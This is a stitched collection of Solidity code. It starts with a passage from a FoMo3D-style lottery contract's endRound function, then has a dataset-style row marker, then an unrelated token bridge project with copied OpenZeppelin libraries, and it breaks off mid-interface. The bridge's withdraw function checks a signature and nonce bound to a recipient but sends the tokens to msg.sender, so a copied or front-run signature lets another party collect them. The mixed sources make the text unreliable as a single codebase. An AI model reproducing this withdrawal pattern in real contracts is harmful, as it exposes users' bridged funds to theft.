* @dev ends the round. manages paying out winner/splitting up pot/ setup local rID grab our winning player and team id's grab our pot amount calculate our winner share, community rewards, gen share, p3d share, and amount reserved for next pot calculate ppt for round mask
|
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(20)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
admin1.transfer(_com.sub(_com / 2));
admin2.transfer(_com / 2);
round_[_rID].pot = _pot.add(_p3d);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
| 5,726,421
|
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// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
pragma abicoder v2;
import "./interfaces/HandleToken.sol";
import "./Bridge.sol";
/* *\
* ,.-"""-., *
* / === \ *
* / ======= \ *
* __| (o) (0) |__ *
* / _| .---. |_ \ *
* | /.----/ O O \----.\ | *
* \/ | | \/ *
* | | *
* | | *
* | | *
* _\ -.,_____,.- /_ *
* ,.-" "-.,_________,.-" "-., *
* / | | ╭-╮ \ *
* | l. .l ┃ ┃ | *
* | | | ┃ ╰━━╮ | *
* l. | | ┃ ╭╮ ┃ .l *
* | l. .l ┃ ┃┃ ┃ | \, *
* l. | | ╰-╯╰-╯ .l \, *
* | | | | \, *
* l. | | .l | *
* | | | | | *
* | |---| | | *
* | | | | | *
* /"-.,__,.-"\ /"-.,__,.-"\"-.,_,.-"\ *
* | \ / | | *
* | | | | *
* \__|__|__|__/ \__|__|__|__/ \_|__|__/ *
\* */
contract LockMintBridge is Bridge {
function deposit(
address token,
uint256 amount,
uint256 toId
) external override hasSigner depositsToken(token, amount, toId) {
IHandleToken(token).transferFrom(msg.sender, address(this), amount);
}
function withdraw(
address recipient,
address token,
uint256 amount,
uint256 nonce,
uint256 fromId,
bytes memory signature
)
external
override
hasSigner
withdrawsToken(recipient, token, amount, nonce, fromId, signature)
{
IHandleToken erc20 = IHandleToken(token);
// Mint tokens if contract does not hold enough.
ensureAmount(erc20, amount);
// Transfer tokens owned by bridge to user.
erc20.transfer(msg.sender, amount);
}
function ensureAmount(IHandleToken erc20, uint256 amount) private {
address selfAddress = address(this);
uint256 selfBalance = erc20.balanceOf(selfAddress);
if (selfBalance < amount) erc20.mint(selfAddress, amount - selfBalance);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IHandleToken is IERC20 {
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "./interfaces/HandleToken.sol";
import "./Signature.sol";
/* *\
* ,.-"""-., *
* / === \ *
* / ======= \ *
* __| (o) (0) |__ *
* / _| .---. |_ \ *
* | /.----/ O O \----.\ | *
* \/ | | \/ *
* | | *
* | | *
* | | *
* _\ -.,_____,.- /_ *
* ,.-" "-.,_________,.-" "-., *
* / | | ╭-╮ \ *
* | l. .l ┃ ┃ | *
* | | | ┃ ╰━━╮ | *
* l. | | ┃ ╭╮ ┃ .l *
* | l. .l ┃ ┃┃ ┃ | \, *
* l. | | ╰-╯╰-╯ .l \, *
* | | | | \, *
* l. | | .l | *
* | | | | | *
* | |---| | | *
* | | | | | *
* /"-.,__,.-"\ /"-.,__,.-"\"-.,_,.-"\ *
* | \ / | | *
* | | | | *
* \__|__|__|__/ \__|__|__|__/ \_|__|__/ *
\* */
abstract contract Bridge is
Initializable,
UUPSUpgradeable,
AccessControlUpgradeable,
Signature
{
string private constant invalidId = "Invalid bridge ID";
string private constant invalidAmount = "Invalid amount";
string private constant tokenNotSupported = "Token not supported";
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/// @dev The bridge ID. Must be unique across all connected bridges.
uint256 public id;
/// @dev The authorised signing address that authorises withdrawals.
address public signer;
/// @dev Mapping from token address to whether the bridge accepts it.
mapping(address => bool) public tokensEnabled;
/// @dev Mapping from user address to deposit nonce for this bridge.
mapping(address => uint256) public depositNonce;
/// @dev Mapping from user address to deposit bridge ID to withdrawal nonce.
mapping(address => mapping(uint256 => uint256)) public withdrawNonce;
event Deposit(
address indexed depositor,
address indexed token,
uint256 amount,
uint256 nonce,
uint256 fromId,
uint256 toId
);
event Withdraw(
address indexed depositor,
address indexed token,
uint256 amount,
uint256 nonce,
uint256 fromId,
uint256 toId
);
event SetTokenEnabled(address indexed token, bool enabled);
modifier onlyOperator() {
require(hasRole(OPERATOR_ROLE, msg.sender), "NO");
_;
}
modifier onlyAdmin() {
require(hasRole(ADMIN_ROLE, msg.sender), "NA");
_;
}
modifier hasSigner() {
require(signer != address(0), "Bridge is disabled");
_;
}
/**
* @dev Performs deposit sanity checks and emits Deposit event.
*/
modifier depositsToken(
address token,
uint256 amount,
uint256 toId
) {
require(amount > 0, invalidAmount);
require(tokensEnabled[token], tokenNotSupported);
require(toId != id, invalidId);
require(
IHandleToken(token).balanceOf(msg.sender) >= amount,
"Insufficient balance"
);
_;
emit Deposit(
msg.sender,
token,
amount,
depositNonce[msg.sender]++,
id,
toId
);
}
/**
* @dev Performs withdrawal sanity checks and emits Withdrawal event.
*/
modifier withdrawsToken(
address recipient,
address token,
uint256 amount,
uint256 nonce,
uint256 fromId,
bytes memory signature
) {
require(amount > 0, invalidAmount);
require(tokensEnabled[token], tokenNotSupported);
require(fromId != id, invalidId);
require(nonce == withdrawNonce[recipient][fromId]++, "Invalid nonce");
bytes32 message = getERC191Message(
getWithdrawMessage(recipient, token, amount, nonce, fromId, id)
);
bool validSignature = getSignatureAddress(message, signature) == signer;
require(validSignature, "Invalid signature");
_;
emit Withdraw(msg.sender, token, amount, nonce, fromId, id);
}
function initialize(uint256 _id, address _signer) public initializer {
__AccessControl_init();
__UUPSUpgradeable_init();
_setupRole(ADMIN_ROLE, msg.sender);
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(OPERATOR_ROLE, ADMIN_ROLE);
id = _id;
signer = _signer;
}
/**
* @dev Sets the authorised signing address.
* May be set to zero to (temporarily) disable the bridge.
* Changing the address invalidates all signed messages from
* the previous address.
*/
function setSigner(address _signer) external onlyAdmin {
signer = _signer;
}
/**
* @dev Deposits tokens into bridge.
* @param token The token address.
* @param amount The amount to deposit.
* @param toId The bridge ID to withdraw the tokens from.
*/
function deposit(
address token,
uint256 amount,
uint256 toId
) external virtual hasSigner depositsToken(token, amount, toId) {}
/**
* @dev Withdraws token from the bridge using a signature.
* @param recipient The user to withdraw the tokens for.
* @param token The token address to be withdrawn.
* @param nonce The deposit nonce from the deposit bridge.
* @param fromId The deposit bridge ID.
* @param signature The withdrawal request signed by the bridge signer.
*/
function withdraw(
address recipient,
address token,
uint256 amount,
uint256 nonce,
uint256 fromId,
bytes memory signature
)
external
virtual
hasSigner
withdrawsToken(recipient, token, amount, nonce, fromId, signature)
{}
/**
* @dev Sets a token as enabled or disabled for deposits and withdrawals.
* @param token The token to enable or disable.
* @param enabled Whether the token is to be enabled or disabled.
*/
function setTokenEnabled(address token, bool enabled) external onlyAdmin {
tokensEnabled[token] = enabled;
emit SetTokenEnabled(token, enabled);
}
/**
* @dev Retrieves an unsigned withdrawal message.
* @param recipient The account to withdraw.
* @param token The token address to be withdrawn.
* @param amount The amount to be withdrawn.
* @param nonce The deposit bridge's deposit nonce.
* @param fromId The deposit bridge's ID.
* @param toId The withdrawal bridge's ID.
*/
function getWithdrawMessage(
address recipient,
address token,
uint256 amount,
uint256 nonce,
uint256 fromId,
uint256 toId
) public pure returns (bytes32) {
return
keccak256(
abi.encodePacked(recipient, token, amount, nonce, fromId, toId)
);
}
/**
* @dev Wraps a message into the ERC191 standard.
* @param message The message to parse.
*/
function getERC191Message(bytes32 message) public pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
bytes1(0x19),
bytes1("E"),
bytes("thereum Signed Message:\n32"),
message
)
);
}
/** @dev Protected UUPS upgrade authorization fuction */
function _authorizeUpgrade(address) internal override onlyAdmin {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Signature {
/**
* @dev Returns the address that signed a message given a signature.
* @param message The message signed.
* @param signature The signature.
*/
function getSignatureAddress(bytes32 message, bytes memory signature)
internal
pure
returns (address)
{
assert(signature.length == 65);
uint8 v;
bytes32 r;
bytes32 s;
assembly {
// First 32 bytes after length prefix.
r := mload(add(signature, 32))
// Next 32 bytes.
s := mload(add(signature, 64))
// Final byte.
v := byte(0, mload(add(signature, 96)))
}
return ecrecover(message, v, r, s);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
